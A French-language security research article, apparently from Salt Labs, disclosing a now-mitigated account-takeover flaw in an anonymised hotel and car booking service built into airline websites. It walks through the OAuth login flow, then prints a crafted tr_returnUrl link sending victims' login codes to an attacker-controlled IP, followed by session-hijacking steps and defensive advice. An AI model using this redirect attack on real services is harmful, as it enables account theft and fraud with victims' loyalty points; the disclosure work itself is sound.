La prise de contrôle de compte d'un prestataire de services tiers peut exposer des millions d'utilisateurs de compagnies aériennes dans le monde.
Résumé
Salt Labs a identifié une vulnérabilité de prise de contrôle de compte au sein d'un service de voyage en ligne de premier plan pour la réservation d'hôtels et de voitures. Ce service est intégré aux plateformes en ligne de dizaines de compagnies aériennes commerciales et permet aux voyageurs d'ajouter des réservations d'hôtels à leur itinéraire.
En exploitant cette faille, des attaquants peuvent obtenir un accès non autorisé au compte de n'importe quel utilisateur du système, ce qui leur permet d'usurper l'identité de la victime et d'effectuer diverses actions en son nom, notamment réserver des hôtels et des voitures en utilisant les points de fidélité de la victime, annuler ou modifier des réservations, et bien plus encore.
Cette vulnérabilité peut être exploitée via un lien malveillant contournant les contrôles de sécurité du service de voyage. Les attaquants peuvent diffuser ce lien par e-mail, par SMS ou sur des sites web sous leur contrôle pour piéger les victimes. Une fois que l'utilisateur clique sur le lien et s'authentifie avec succès sur le service officiel de la compagnie aérienne, l'attaquant obtient un accès complet au compte de l'utilisateur au sein du système de voyage.
Cette vulnérabilité a potentiellement exposé des millions d'utilisateurs de services aériens en ligne. Suite à nos recherches et à notre processus de divulgation coordonnée, le service de voyage en ligne a identifié, confirmé et traité les risques, dont l'atténuation est désormais confirmée.
Avertissement
Suite à la divulgation coordonnée par l'équipe de Salt Labs, ce rapport a été entièrement anonymisé afin de respecter la demande de confidentialité de la société de voyage internationale concernée.
Motivation
Le monde des services en ligne est fascinant. Il n'est pas exagéré de dire qu'il a, à lui seul, transformé la vie de millions de personnes. Aujourd'hui, au lieu de vous rendre dans une épicerie, vous pouvez simplement acheter tout ce dont vous avez besoin via une application mobile, et en un rien de temps, tout est livré sur votre pas de porte.
Les avantages des services en ligne semblent infinis ; cependant, il faut prendre en considération les interfaces de programmation d'applications (API) associées à ces services. Pour faire simple, les API sont le langage que parlent ces services en ligne. Si vous regardez sous le capot de votre application mobile, vous verrez que c'est exactement ce qui se passe en coulisses.
Si cette fonctionnalité incroyable apporte une valeur évidente aux utilisateurs en ligne, son potentiel ne s'arrête pas là. Vous voyez, ces services peuvent être utilisés facilement par le consommateur final, mais ils peuvent également être utilisés par d'autres services.
Réfléchissez-y un instant : une épicerie qui propose un service de livraison. L'épicerie s'est-elle lancée dans le secteur de la livraison ? Eh bien, pas nécessairement. En fait, dans la plupart des cas, la réponse est non. Mais si vous êtes une épicerie, pourquoi laisser cela vous décourager ? S'ils ne peuvent pas proposer eux-mêmes un service de livraison, ils peuvent toujours faire appel à un prestataire tiers. Il suffit de connecter leur boutique en ligne à un service de livraison et de laisser ce dernier gérer toute la logistique. Ils n'ont qu'à fournir les détails et, hop, ils disposent désormais d'une épicerie en ligne qui propose un service de livraison. Le plus beau dans tout cela, c'est que leurs clients ignorent totalement les étapes nécessaires à la mise en place de ce service : pour eux, ils interagissent uniquement avec votre boutique en ligne, rien d'autre.
C'est ainsi qu'un vaste écosystème d'API se développe à l'insu des clients. Des services utilisent d'autres services qui, eux-mêmes, en utilisent d'autres, et ainsi de suite.
Bien sûr, c'est formidable. Cela offre de meilleurs services aux clients en ligne et une grande flexibilité aux entreprises en ligne dans presque tous les domaines. Cependant, cela a aussi un effet secondaire moins évident.
Chaque fois qu'une interaction entre services a lieu, une certaine forme de confiance doit être partagée entre les deux parties. Dans le cas d'une épicerie en ligne, les détails de livraison, le numéro de téléphone et peut-être même la carte de crédit du client doivent être partagés avec le prestataire de livraison. À partir de ce moment-là, l'épicerie ne peut plus protéger ces données, car elles ne sont plus entre ses mains. Les utilisateurs doivent désormais compter sur la sécurité d'un prestataire tiers dont, comme nous l'avons mentionné, ils ignorent généralement l'existence.
Cela présente, bien entendu, une nouvelle opportunité pour les attaquants. De leur point de vue, la surface d'attaque à leur disposition vient de se multiplier, offrant davantage d'occasions de découvrir des failles de sécurité.
Imaginez qu'une épicerie en ligne protège parfaitement ses clients, rendant très difficile pour un attaquant de s'introduire dans le système pour voler des données privées. Cependant, l'attaquant peut choisir de s'en prendre au service de livraison plutôt qu'au magasin lui-même, car il s'agit d'une entreprise distincte ; il est possible que leurs mesures de sécurité soient moins strictes, et s'il réussit, son objectif est atteint puisque le service de livraison détient désormais toutes les informations privées nécessaires.
Une telle attaque est appelée « attaque de la chaîne d'approvisionnement API », où l'attaquant choisit de cibler le maillon le plus faible de l'écosystème API du service.
Bien que les professionnels de la sécurité connaissent depuis longtemps les attaques par chaîne d'approvisionnement, elles sont beaucoup moins connues du grand public, et nous avons vu très peu de cas réels ou de vulnérabilités techniques documentées concernant les attaques de la chaîne d'approvisionnement API.
Il est également important de noter que de nombreuses politiques et contrôles de sécurité, tels que le RGPD, la loi HIPAA et bien d'autres, ont été mis en place au fil des ans pour répondre à ce risque. Bien qu'ils aient indéniablement amélioré la situation et réduit les risques, le problème ne disparaît pas pour autant.
C'est pourquoi nous avons décidé de nous attaquer à ce problème : tenter de découvrir une attaque réelle de la chaîne d'approvisionnement API susceptible d'affecter des millions d'utilisateurs en ligne. Nous espérons que cela permettra de mieux éclairer ce sujet crucial et de sensibiliser davantage le public.
Choisir une cible
Nous nous sommes donc lancés pour mission de trouver une attaque réelle de la chaîne d'approvisionnement API, mais par où commencer nos recherches ?
Nous avons commencé par examiner des services de voyage en ligne proposant une intégration tierce. Notre objectif était de trouver un service populaire bénéficiant d'une grande confiance et traitant des informations précieuses provenant du service appelant.
Après de nombreuses recherches, nous avons trouvé un service qui correspondait à ce que nous cherchions.
Comme mentionné précédemment, nous avons choisi d'anonymiser le service dans cet article et nous le désignerons désormais sous le nom d'« Acme Travel ». Il propose des solutions de réservation d'hôtels et de voitures de location en ligne.
Après quelques recherches supplémentaires, nous avons découvert que ce service est effectivement un fournisseur populaire pour de nombreuses compagnies aériennes commerciales, ainsi que pour d'autres services de vente au détail. De plus, l'intégration à ce service permet aux utilisateurs de réserver des hôtels et des voitures de location en utilisant leurs points de fidélité aériens, ce qui signifie que ces informations sont partagées en toute confiance entre la compagnie aérienne et le service Acme Travel.
C'est exactement ce que nous recherchions. Évidemment, pirater une compagnie aérienne pour voler des points de fidélité serait une tâche très ardue pour n'importe quel attaquant, mais peut-être que ce nouveau service, ou le point de connexion entre ces services, pourrait changer la donne.
Forts de notre motivation et d'une cible potentielle, nous avions tout ce qu'il fallait pour commencer nos recherches. Il ne nous restait plus qu'à trouver une faille de sécurité. Que les jeux commencent.
Le plan
D'un point de vue technique, la meilleure façon d'atteindre notre objectif était de trouver un scénario de prise de contrôle de compte sur les services d'Acme Travel. Cela nous permettrait de nous connecter directement au service en tant qu'utilisateur et d'agir en son nom, y compris, bien sûr, en effectuant des réservations d'hôtels et de voitures de location en utilisant les points de fidélité aériens de l'utilisateur. Pour y parvenir, nous devions d'abord mieux comprendre la compagnie aérienne, le service Acme Travel et leur connexion.
Processus normal
Commençons par décrire le processus de connexion typique sur le site web d'une compagnie aérienne ayant choisi d'utiliser le service Acme Travel. Nous avons évidemment examiné de nombreux services aériens en ligne. Cependant, pour les besoins de cette recherche, nous mentionnerons une compagnie aérienne fictive qui suit exactement le même flux technique que Salt Airlines.
À un moment donné, après avoir effectué la réservation initiale auprès de la compagnie aérienne, les utilisateurs de l'application principale de Salt Airlines — www.saltairlines.sec peuvent choisir d'ajouter une réservation d'hôtel ou de voiture à leur voyage. S'ils le font, ils seront redirigés vers l'intégration du service Acme Travel acme.saltairlines.sec. Notez que du point de vue de l'utilisateur, tout cela se déroule de manière transparente ; il est difficile de remarquer qu'il se trouve désormais sur une application tierce et non plus sur le site original de Salt Airlines, car la conception web est personnalisée et l'expérience utilisateur est parfaitement alignée avec le service aérien initial.
Une fois redirigé vers le site intégré Acme-Travel, l'utilisateur peut initier une connexion en utilisant ses identifiants de compagnie aérienne. À ce stade, le backend d'Acme-Travel génère un lien et redirige l'utilisateur vers le site web principal de la compagnie aérienne pour effectuer l'authentification via une technologie appelée OAuth. Une fois la connexion réussie, ce processus récupère les informations de compte de l'utilisateur depuis le site de la compagnie aérienne, y compris ses données personnelles et le solde de ses points de fidélité.
Une fois ces étapes terminées, l'utilisateur est redirigé vers acme.saltairlines.sec, où il peut désormais accéder à ses points de fidélité et les utiliser pour réserver des hôtels et des voitures à sa convenance.
Voici une analyse technique des requêtes générées dans le cadre de ce processus :
- Lorsque l'utilisateur clique sur le bouton de connexion, son navigateur suit ce lien :
https://acme.saltairlines.sec/start?tr_returnUrl=https%3A%2F%2Facme.saltairlines.sec%2F&language=en&tr_backend_session=example
- L'utilisateur est ensuite automatiquement redirigé vers la page de connexion officielle de Salt Airlines (
www.saltairlines.sec), initiant un flux OAuth :
https://www.saltairlines.sec/authorization.oauth2?response_type=code&client_id=acmemiles&state=35b217d3-df3f-4b64-b0ab-1a4382f450b4&redirect_uri=https://acme.saltairlines.sec/
- Après une authentification réussie, l'utilisateur est redirigé vers le lien suivant (
valeur du paramètre tr_returnUrl), qui inclut un code secret et un identifiant en tant que paramètres de requête :
https://acme.saltairlines.sec/?tr_code=920b677d-00eb-4f68-a58e-5b265ada522d&tr_id=d14b207037b25f497bfdb9139e47312bc06e4e4a&tr_state=
- Enfin,
acme.saltairlines.seccrée un cookie de session (JSESSIONID) en envoyant une requête POST contenant le code et l'identifiant vers ce point de terminaison :
https://acme.saltairlines.sec/SessionEndpoint
Processus malveillant
Maintenant que nous comprenons clairement comment les services fonctionnent et interagissent entre eux, il est temps de tenter de déceler des failles de sécurité au sein du processus.
En examinant attentivement le flux d'authentification, nous avons réalisé que le paramètre tr_returnUrl présent dans la requête de connexion initiale détermine en réalité vers quelle destination les tr_code et tr_id paramètres seront envoyés une fois l'authentification réussie.
Pour rappel, le tr_code et tr_id sont équivalents aux identifiants de l'utilisateur, car un attaquant qui les détient peut se connecter au service Acme Travel sans avoir besoin d'une authentification supplémentaire.
https://acme.saltairlines.sec/start?tr_returnUrl=https%3A%2F%2Facme.saltairlines.sec%2F&language=en&tr_backend_session=example
Dans le flux normal, les paramètres tr_code et tr_id sont envoyés au service Acme-Travel. Cependant, en manipulant le paramètre tr_returnUrl , nous avons tenté de rediriger le tr_code et le tr_id vers un serveur sous notre contrôle. Si l'opération réussit, cela nous permettrait de capturer ces identifiants, facilitant ainsi un accès non autorisé et le piratage de comptes.
Et il semble que cela ait fonctionné ! En envoyant une requête avec un paramètre tr_returnUrl manipulé pointant vers un serveur que nous contrôlons, nous pouvons constater qu'une requête provenant du client est effectivement reçue, contenant à la fois le tr_code et tr_id paramètres.
Cela nous permet essentiellement de prendre le contrôle du compte d'un utilisateur de la compagnie aérienne une fois qu'il s'est authentifié avec succès sur le site web de celle-ci.
Pour mener notre attaque, les étapes suivantes sont effectuées :
- Lors de l'étape 1 du processus de connexion normal, observez le
tr_returnUrlparamètre. Cette valeur contient le domaine qui recevra lescodeetidvaleurs après une connexion réussie.
Dans notre cas d'utilisation, letr_returnUrloriginal est :tr_returnUrl=https%3A%2F%2Facme.saltairlines.sec%2F&
- En manipulant cette valeur, un attaquant peut la remplacer par une URL sous son contrôle, telle que :
tr_returnUrl=http://142.93.164.25/evil
- L'attaquant partage ensuite ce lien modifié avec la victime via n'importe quel moyen de communication disponible, comme un e-mail, des SMS, des publications sur un forum en ligne, etc.
- Une victime qui rencontre ce lien aura très peu d'indices sur la présence du code malveillant, car le domaine du lien est celui de la compagnie aérienne officielle et la requête semble tout à fait légitime.
- Étant donné que le serveur backend ne valide pas le
tr_returnUrldomaine, il accepte n'importe quelle valeur comme redirection valide. Par conséquent, il génère le lien OAuth Salt Airlines correspondant :

6. Une fois que la victime s'est authentifiée avec succès sur la page officielle de la compagnie aérienne, les code et id sont envoyés à l'URL contrôlée par l'attaquant. Dans ce cas, la requête ressemblerait à ceci :https://acme.saltairlines.sec/start?tr_returnUrl=http://142.93.164.25/evil&language=en&tr_backend_session=c077f47e-c60e-45ec-96d7-e512812fa638

7. L'attaquant peut alors utiliser ces identifiants pour obtenir un jeton de session valide en effectuant une requête vers le point de terminaison suivant :https://acme.saltairlines.sec/SessionEndpoint

8. Avec ce jeton de session, l'attaquant peut se connecter au système en tant que victime et effectuer des actions en son nom, y compris, bien entendu, réserver des hôtels et des voitures de location en utilisant uniquement les points de fidélité aériens de la victime.
9. L'attaquant part en vacances gratuitement :)
Notes :
Si la victime est déjà connectée à www.saltairlines.sec, elle sera redirigée vers le serveur de l'attaquant avec le code et id en un seul clic, sans nécessiter de connexion supplémentaire.
Comme le lien manipulé utilise un domaine client légitime (la manipulation se situant uniquement au niveau des paramètres et non du domaine), cette attaque est difficile à détecter par les méthodes classiques d'inspection de domaine ou de listes d'autorisation/blocage.
Conclusion
Cette vulnérabilité permet aux attaquants de prendre le contrôle des comptes des victimes en un seul clic. Bien que la prise de contrôle s'effectue au sein du service intégré à Acme, elle offre aux attaquants un accès complet aux informations personnelles identifiables (PII) de l'utilisateur depuis le compte principal Salt Airlines, y compris toutes les données de miles et de récompenses. Au-delà de la simple exposition de données, les attaquants peuvent effectuer des actions au nom de l'utilisateur, comme passer des commandes ou modifier les détails du compte. Ce risque critique souligne les vulnérabilités liées aux intégrations tierces et l'importance de protocoles de sécurité rigoureux pour protéger les utilisateurs contre l'accès et la manipulation non autorisés de leurs comptes.
Que puis-je faire ?
Comme toujours, il est important pour nous de fournir aux lecteurs arrivés à ce stade de notre publication quelques recommandations sur les mesures à prendre pour éviter d'être victime de cette technique d'attaque de la chaîne d'approvisionnement API, ou d'autres similaires.
Ces recommandations varient toutefois selon votre rôle dans cet écosystème API.
Utilisateurs de services
En tant qu'utilisateur de services en ligne, il est toujours conseillé de faire preuve de prudence lors de la réception de liens provenant de sources non fiables, même si ces liens semblent tout à fait légitimes au premier coup d'œil et qu'ils mènent vers des sites web légitimes et de confiance.
Consommateurs de services
Si votre service consomme ou utilise un service tiers, vous devez porter une attention particulière au point d'intégration entre ces services ainsi qu'à la relation de confiance qui les lie, et vérifier que tout répond à vos normes de sécurité et que les informations partagées entre les services sont strictement nécessaires.
Il est également conseillé d'effectuer des contrôles de sécurité supplémentaires, ainsi que des tests d'intrusion, en fonction du type et de la sensibilité de la relation entre les services.
Producteurs de services
En tant que producteur de services, il est primordial de s'assurer que votre service et ses points d'intégration sont parfaitement sécurisés. Une attention particulière doit être portée aux étapes de conception et de mise en œuvre pour garantir que les normes de sécurité sont respectées et correctement appliquées. De plus, il est recommandé d'envisager le recours à un fournisseur tiers capable d'identifier automatiquement les lacunes de sécurité existantes et le trafic anormal en temps réel, afin de renforcer votre stratégie de défense en profondeur.
